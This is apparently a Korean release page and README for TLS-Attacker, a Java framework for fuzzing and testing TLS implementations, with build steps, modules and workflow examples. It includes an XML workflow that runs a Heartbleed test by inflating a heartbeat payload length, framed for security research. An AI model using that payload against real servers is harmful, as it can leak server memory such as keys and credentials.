업데이트로 돌아가기
New releaseJul 31, 2026

TLS-Attacker v7.0.0-rtc

TLS 라이브러리의 체계적인 퍼징 및 분석을 위한 Java 기반 프레임워크입니다. 임의의 프로토콜 메시지 조작, 수정 및 TLS 클라이언트/서버 테스트를 통해 취약점 발견을 가능하게 합니다.

공유

TLS-Attacker

GitHub release (latest by date) licence Build Status

TLS-Attacker는 TLS 라이브러리를 분석하기 위한 Java 기반 프레임워크입니다. 임의의 순서로 TLS 피어에게 임의의 프로토콜 메시지를 보낼 수 있으며, 제공된 인터페이스를 사용하여 수정 사항을 정의할 수 있습니다. 이를 통해 개발자는 사용자 정의 TLS 프로토콜 흐름을 쉽게 정의하고 자신의 TLS 라이브러리로 테스트할 수 있습니다.

참고: TLS-Attacker는 TLS 개발자와 침투 테스터를 위한 연구 도구입니다. GUI나 초록/빨간불 표시는 없습니다.

컴파일 및 실행

TLS-Attacker를 컴파일하고 사용하려면 Java와 Maven이 설치되어 있어야 합니다. Ubuntu에서는 다음 명령어로 Maven을 설치할 수 있습니다:

$ sudo apt-get install maven

TLS-Attacker는 현재 Java JDK 21이 필요합니다.

올바른 Java 버전이 있다면 TLS-Attacker 디렉토리에서 maven 명령어를 실행할 수 있습니다:

$ git clone https://github.com/tls-attacker/TLS-Attacker.git
$ cd TLS-Attacker
$ mvn clean install

또는, 시간이 없다면 다음을 사용하여 테스트를 건너뛸 수 있습니다:

$ mvn clean install -DskipTests=true

결과 jar 파일은 "apps" 폴더에 위치합니다.

이 프로젝트를 의존성으로 사용하려면 직접 컴파일할 필요 없이 pom.xml에 다음과 같이 포함시킬 수 있습니다.

<dependency>
    <groupId>de.rub.nds.tls.attacker</groupId>
    <artifactId>tls-attacker</artifactId>
    <version>7.0.0</version>
    <type>pom</type>
</dependency>

TLS-Attacker에는 TLS-Attacker 기능에 쉽게 접근할 수 있는 데모 애플리케이션이 포함되어 있습니다.

다음 명령어로 TLS-Attacker를 클라이언트로 실행할 수 있습니다:

$ cd apps
$ java -jar TLS-Client.jar -connect [host:port]

또는 서버로 실행하려면:

$ java -jar TLS-Server.jar -port [port]

이 예제 애플리케이션들은 그 자체로도 매우 강력하지만, TLS-Attacker는 프로그래밍 라이브러리로 사용될 때 진정한 잠재력을 발휘합니다.

코드 구조

TLS-Attacker는 여러 (maven) 프로젝트로 구성됩니다:

  • TLS-Client: 클라이언트 예제 애플리케이션
  • TLS-Core: 프로토콜 스택이자 TLS-Attacker의 핵심
  • TLS-Mitm: MitM 워크플로우를 위한 프로토타입
  • TLS-Server: 서버 예제 애플리케이션
  • TLS-Proxy: SSLSocket을 위해 TLS-Attacker 사용
  • TraceTool: TLS-Attacker 워크플로우 추적의 검사 및 수정
  • Transport: 하위 계층을 위한 전송 유틸리티
  • Utils: 유틸리티 클래스 모음

TLS-Attacker design

이 모듈들에 대한 자세한 정보는 Wiki에서 확인할 수 있습니다.

기능

현재 다음 기능이 지원됩니다:

  • SSL 3, TLS 버전 1.0 (RFC-2246), 1.1 (RFC-4346), 1.2 (RFC-5246), 및 1.3 (RFC-8446)
  • SSL 2 (부분 지원)
  • (EC)DH(E), RSA, PSK, SRP, GOST 및 ANON 키 교환 알고리즘
  • CBC, AEAD 및 스트림 암호 (AES, CAMELLIA, DES, 3DES, IDEA, RC2, ARIA, GOST_28147_CNT_IMIT, RC4, SEED, NULL)
  • ~300개의 암호 스위트, ~30개의 확장
  • 클라이언트 및 서버
  • HTTPS
  • 2자 이상의 워크플로우
  • 다양한 확장
  • 토큰 바인딩 (EC) 및 HTTP를 통한 토큰 바인딩
  • 소켓
  • TLS 1.3 0-RTT
  • STARTTLS
  • ...

사용법

여기에서는 TLS-Attacker 사용에 대한 매우 간단한 예제를 소개합니다.

먼저 TLS 서버를 시작해야 합니다 (공개 서버는 사용하지 마십시오). 아직 실행하지 않았다면 keygen.sh 스크립트를 실행하세요. 예를 들어 OpenSSL 테스트 서버를 사용할 수 있습니다:

$ cd TLS-Attacker/resources
$ openssl s_server -key rsa1024key.pem -cert rsa1024cert.pem

이 명령어는 4433 포트에서 TLS 서버를 시작합니다.

서버에 연결하려면 다음 명령어를 사용할 수 있습니다:

$ cd TLS-Attacker/apps
$ java -jar TLS-Client.jar -connect localhost:4433

참고: 이 핸드셰이크가 실패하면 특정 암호 스위트를 지정하지 않았기 때문일 수 있습니다. TLS-Attacker는 서버가 선택한 암호 스위트를 완전히 따르지 않습니다.

다른 암호 스위트, TLS 버전 또는 다른 포트에 연결하려면 다음 매개변수를 사용하세요:

$ java -jar TLS-Client.jar -connect localhost:4433 -cipher TLS_RSA_WITH_AES_256_CBC_SHA -version TLS11

더 경험이 많은 개발자라면 Java 코드를 작성하여 자신만의 TLS 메시지 흐름을 만들 수 있습니다. 예:

Config config = Config.createConfig();
WorkflowTrace trace = new WorkflowTrace();
trace.addTlsAction(new SendAction(new ClientHelloMessage()));
trace.addTlsAction(new ReceiveAction(new ServerHelloMessage()));
State state = new State(config, trace);
DefaultWorkflowExecutor executor = new DefaultWorkflowExecutor(state);
executor.executeWorkflow();

TLS-Attacker는 WorkflowTrace 개념을 사용하여 "TLS 메시지 흐름"을 정의합니다. WorkflowTrace는 순차적으로 실행되는 동작 목록으로 구성됩니다. 일반적인 "TLS 메시지 흐름"에는 SendAction과 ReceiveAction만 필요하지만, 프레임워크는 여기서 멈추지 않고 훨씬 더 다양한 메시지 흐름을 실행하는 데 사용할 수 있는 다양한 다른 동작들을 구현합니다. 현재 구현된 동작 목록과 설명은 Wiki에서 확인할 수 있습니다.

Java를 싫어하는 분들도 많다는 것을 알고 있습니다. 따라서 XML 구조를 사용하여 XML에서 사용자 정의 TLS 프로토콜을 실행할 수도 있습니다:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<workflowTrace>
    <!-- Send ClientHello -->
    <Send>
        <configuredMessages>
            <ClientHello>
                <extensions>
                    <ECPointFormat/>
                    <EllipticCurves/>
                    <SignatureAndHashAlgorithmsExtension/>
                    <RenegotiationInfoExtension/>
                </extensions>
            </ClientHello>
        </configuredMessages>
        <configuredRecords>
            <record/>
        </configuredRecords>
    </Send>
    
    <!-- Receive server response -->
    <Receive>
        <expectedMessages>
            <ServerHello>
                <extensions>
                    <ECPointFormat/>
                    <RenegotiationInfoExtension/>
                </extensions>
            </ServerHello>
            <Certificate/>
            <ServerHelloDone/>
        </expectedMessages>
    </Receive>
    
    <!-- Send client key exchange and finish -->
    <Send>
        <configuredMessages>
            <RSAClientKeyExchange/>
            <ChangeCipherSpec/>
            <Finished/>
        </configuredMessages>
        <configuredRecords>
            <record/>
            <record/>
            <record/>
        </configuredRecords>
    </Send>
    
    <!-- Receive server finish -->
    <Receive>
        <expectedMessages>
            <ChangeCipherSpec/>
            <Finished/>
        </expectedMessages>
    </Receive>
</workflowTrace>

이 XML 구조가 TLS-Attacker/apps/workflow.xml에 있다면, 다음을 실행하기만 하면 됩니다:

$ java -jar TLS-Client.jar -connect [host]:[port] -workflow_input workflow.xml

프로토콜 공격자/계층 시스템

원래 TLS 프로토콜을 공격하기 위해 설계되었지만, TLS-Attacker는 임의의 프로토콜을 지원할 수 있습니다. 이를 위해 TLS-Attacker는 각 연결에 계층 스택을 할당합니다. 이 계층 스택은 사용자가 활용하려는 다양한 프로토콜 계층으로 구성됩니다. 계층 스택을 통해 사용자는 DTLS, HTTP (더 많은 것은 작업 중)와 같은 계층을 임의의 순서로 추가할 수 있습니다.

계층 스택을 사용하여 임의의 메시지를 보내고 받기 위해 사용자는 각 계층에 대한 구성을 정의할 수 있습니다. 이러한 구성은 보내거나 받을 메시지를 지정합니다. 또한 사용자는 각 계층에 대한 계층별 메시지/데이터 컨테이너를 지정할 수 있습니다. 예를 들어 TLS-Attacker가 보내야 할 TLS 메시지와 레코드를 지정할 수 있으며, TLS-Attacker는 주어진 TLS 메시지를 자동으로 레코드에 캡슐화합니다.

수정 가능 변수

TLS-Attacker는 수정 가능 변수(Modifiable Variable) 개념을 사용하여 사전 정의된 워크플로우에 런타임 수정을 허용합니다. 수정 가능 변수를 사용하면 값이 실제로 설정된 후 또는 전에 기본 타입에 대한 수정을 설정할 수 있습니다. 실제 값이 결정되고 getter를 통해 값에 접근하려고 하면 원래 값이 그에 따라 수정된 형태로 반환됩니다. 이 개념에 대한 자세한 내용은 https://github.com/tls-attacker/ModifiableVariable 에서 확인할 수 있습니다.

ModifiableInteger i = new ModifiableInteger();
i.setOriginalValue(30);
i.setModification(new AddModification(20));
System.out.println(i.getValue());  // 50

이 예제에서는 새로운 ModifiableInteger를 정의하고 값을 30으로 설정했습니다. 다음으로 두 정수의 합을 반환하는 AddModification 수정을 정의하고 값을 20으로 설정했습니다. 위 프로그램을 실행하면 결과 50이 출력됩니다.

물론 이 개념을 TLS 워크플로우를 구성하는 데 사용할 수 있습니다. 서버에서 하트블리드 취약점을 테스트한다고 가정해 보겠습니다. 이를 위해 하트비트 요청의 페이로드 길이를 늘려야 합니다. TLS-Attacker를 사용하면 다음과 같이 할 수 있습니다:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<workflowTrace>
    <Send>
        <configuredMessages>
            <ClientHello>
                <extensions>
                    <ECPointFormat/>
                    <HeartbeatExtension/>
                    <EllipticCurves/>
                </extensions>
            </ClientHello>
        </configuredMessages>
    </Send>
    <Receive>
        <expectedMessages>
            <ServerHello>
                <extensions>
                    <ECPointFormat/>
                </extensions>
            </ServerHello>
            <Certificate/>
            <ServerHelloDone/>
        </expectedMessages>
    </Receive>
    <Send>
        <configuredMessages>
            <RSAClientKeyExchange>
                <computations/>
            </RSAClientKeyExchange>
            <ChangeCipherSpec/>
            <Finished/>
        </configuredMessages>
    </Send>
    <Receive>
        <expectedMessages>
            <ChangeCipherSpec/>
            <Finished/>
        </expectedMessages>
    </Receive>
    <Send>
        <configuredMessages>
            <Heartbeat>
                <payloadLength>
                    <modifications>
                        <integerExplicitValueModification>
                            <explicitValue>20000</explicitValue>
                        </integerExplicitValueModification>
                    </modifications>
                </payloadLength>
            </Heartbeat>
        </configuredMessages>
    </Send>
    <Receive>
        <expectedMessages>
            <Heartbeat/>
        </expectedMessages>
    </Receive>
</workflowTrace>

보시다시피 하트비트 메시지의 페이로드 길이를 20000으로 명시적으로 증가시켰습니다. 취약한 서버(예: OpenSSL 1.0.1f)에 대해 이 공격을 실행하면 유효한 하트비트 응답을 볼 수 있습니다.

공격에 대한 추가 예제와 TLS-Attacker에 대한 추가 설명은 wiki에서 확인할 수 있습니다.

고급 기능

일부 동작은 올바르게 실행되기 위해 컨텍스트나 구성이 필요합니다. 예를 들어 TLS-Attacker가 ClientHello 메시지를 보내려면 어떤 암호 스위트나 프로토콜 버전을 사용할지 등 메시지에 포함할 값을 알아야 합니다. TLS-Attacker는 구성 파일(기본 위치: TLS-Core/src/main/resources/default_config.xml)에서 이 정보를 가져옵니다. 런타임에 결정되는 값은 TlsContext에 저장됩니다. 컨텍스트에서 일반적으로 선택되는 값이 (메시지가 아직 수신되지 않아) 누락된 경우 Config의 기본값이 선택됩니다. 명령줄에서 "-config" 매개변수로 자신만의 구성 파일을 지정할 수 있습니다. 구성 파일에 기본값을 명시적으로 정의하지 않으면 TLS-Attacker는 하드코딩된 값(제공된 기본 구성과 동일)으로 이 빈칸을 채웁니다. TLS-Attacker 사용자 정의 방법에 대한 자세한 내용은 wiki에서 확인할 수 있습니다.

감사의 말

TLS-Attacker 프로젝트에 기여해 주신 모든 분들께 감사드립니다.

특히 다음 분들의 중요한 기여에 특별한 감사를 드립니다:

Muhammad Abubakar, Fabian Albert, Panneer Selvam Annadurai, Nimrod Aviram, Philipp Brinkmann, Till Budde, Florian Bürger, Christoph Buttler, Jens Carl, Raphael Dietrich, Felix Dreissig, Bastian Ebach, Malena Ebert, Robert Engel, Nils Engelbertz, Paul Fiterau Brostean, Janis Fliegenschmidt, Alexander Freiherr von Buddenbrock, Matthias Manfred Geuchen, Alexander Glasfort, Nils Hanke, Lucas Hartmann, Bastian Haverkamp, Nico Heitmann, Jannik Hölling, Selami Hoxha, Kevin Jagla, Nils Kafka, Jan Kaiser, Anton Khristoforov, Felix Kleine-Wilde, Mario Korth, Sebastian Krois, Christian Krug, Florian Linsner, Christian Mainka, Jonas Moos, Simon Nachtigall, Simon Nattefort, Philipp Nieting, Niels Pahl, Christoph Penkert, Florian Pfützenreuter, Adrian Pinner, Malte Poll, Christian Pressler, Tim Reisach, Philip Riese, Nils Luca Rudminat, Henrik Schaefer, Marten Schmidt, Conrad Schmidt, Daniel Siegert, Tim Storm, Rigers Sulku, Bjarne Tempel, Matthias Terlinde, Jonas Thiele, Pierre Tilhaus, Joshua Waldner, Patrick Weixler, Philipp Wirth, Asli Yardim, Dennis Ziebart, David Ziemann, Philipp Ziemke

추가 기여와 풀 리퀘스트는 언제나 환영합니다.

학술 논문

TLS-Attacker의 기본 개념과 여러 공격은 다음 논문에서 설명됩니다:

아래에는 TLS-Attacker를 사용한 최근 학술 연구를 나열합니다. 전체 목록은 Wiki에서 확인할 수 있습니다.

연구 아이디어가 있거나 지원이 필요하면 Twitter (@ic0nz1 , @jurajsomorovsky , @marcelmaehren , @nerinola1 , @JonSnowWhite2) 또는 https://www.hackmanit.de/ 로 연락주세요.

TLS-Attacker가 TLS 구현에서 버그를 찾는 데 도움이 되었다면, 이 도구를 인정해 주시기 바랍니다. 감사합니다!

더 읽기

카테고리

Vulnerability AnalysisFuzzingNetwork SecurityCryptographyPenetration Testing